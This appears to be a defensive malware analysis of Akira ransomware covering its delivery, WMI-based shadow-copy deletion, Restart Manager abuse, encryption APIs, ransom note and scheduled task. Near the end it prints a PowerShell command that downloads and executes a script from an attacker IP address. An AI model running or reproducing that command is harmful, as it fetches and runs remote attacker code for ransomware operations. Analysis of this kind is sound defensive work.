Arrival
Akira arrives by any of the following ways:
- Email attachment
- Malvertising
- Drive-by downloads
- Network share
- Exploit kits
Pre-encryption
Akira checks the command line arguments passed to the program. These are all non-mandatory and slightly alter the behavior.
The list of commands passed to the program
|
--encryption_path
|
The path/location to begin encryption from. If not supplied, it begins encryption from the user directory.
|
|
--share_file
|
Microsoft security researchers observed no change in behavior was observed with this flag.
|
|
--encryption_percent
|
tells how many bytes or what percentage of a file should be encrypted. If not supplied, Akira ransomware encrypts the first 1693 bytes of a file by default.
|
Next, it decrypts a PowerShell command encoded inside of it. Command is in Base64, so it decodes it accordingly. First, it loads the encoded command and then decrypts the command from Base64:
The decrypted command
The decrypted command deletes shadow copy of a drive from the user’s device, which is a common behavior amongst ransomwares. However, unlike most ransomwares, this doesn’t use the “vssadmin delete shadows” command. Instead, the command uses the Windows Management Instrumentation (WMI) command-line utility with Component Object Model (COM) objects to process the command.
First, a COM object is created using “CoCreateInstance”:
The CLSID key— a globally unique identifier that identifies a COM class object—is a GUID for a COM class object, which is provided during the object’s creation.
Then, it specifies a namespace, in this instance, ROOT\\CIMV2. This namespace contains a lot of useful classes in WMI. In particular, the namespace contains classes for computer hardware and configuration which might be leveraged by attackers to gain access to Windows devices.
Afterwards, it supplies some additional fields to the COM object:
|
Win32_Process
|
The information about a process on the OS
|
|
Win32_ProcessStartup
|
The startup configuration of a process
|
Finally, the above WMIC queries are run via the COM objects.
Next, it will try to close all open files opened by other processes, so that maximum number of files can be encrypted and can be properly encrypted. To accomplish this, it leverages the Restart Manager session.
This usage is documented in very few ransomware families. Just as Windows will attempt to cleanly shut down open applications when the operating system is rebooted, the ransomware will utilize the same functionality to cleanly close the application that has a file locked. By doing so, the file is freed up for encryption.
Encryption
To encrypt the files, Akira ransomware will use the following cryptographic APIs from Advapi32.dll:
- CryptAcquireContextW
- CryptStringToBinaryA
- CryptDecodeObjectEx
- CryptImportPublicKeyInfo
- CryptGenRandom
- CryptEncrypt
It acquires a key container by providing a cryptographic service provider, a module which performs the cryptographic algorithm for encryption.
The key container and cryptographic service provider
The public key used to encrypt the files is already embedded inside the ransomware in plaintext format.
Ransomware public key for encryption
File exclusion
While Akira ransomware will encrypt most of the files, it has its own list of file extensions that it will ignore during encryption. These are:
Post encryption activities
Encryption starts from the path passed on to the ransomware as a command line argument. This is also where it drops the ransom note. It encrypts only 1693 bytes of a file by default. Below is an example of what a text file looks like post encryption.
For comparison, here is the original file content before encryption.
It will not encrypt files whose extensions match the ones in its exclusion list.
For example, below you can see both encrypted and ignored files. Encrypted files have the extension .akira.
Ransom note
After the encryption finishes, it drops a ransom note titled README.txt, containing information about how to contact for ransom. The ransom note content is observed to be almost the same across the recent versions.
Scheduled Task
Post encryption, it will try to relay information about the system, along with system data, back to a command-and-control (C2) server via a Scheduled Task created by the ransomware. The scheduled task will run a VBS/PowerShell script dropped at the location: C:\User\Adminstrator\AppData\Local\Microsoft\Windows\Powershell\<randomfile_name>.vbs. To create the Scheduled Task, the script runs the following command:
- "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass iex (iwr -useb hxxp://159[.]223[.]101[.]65/r/ax2/11C0E8526861CA35)
The task repeatedly tries to run the VBS script. This is to relay information about the compromised device back to the attacker.
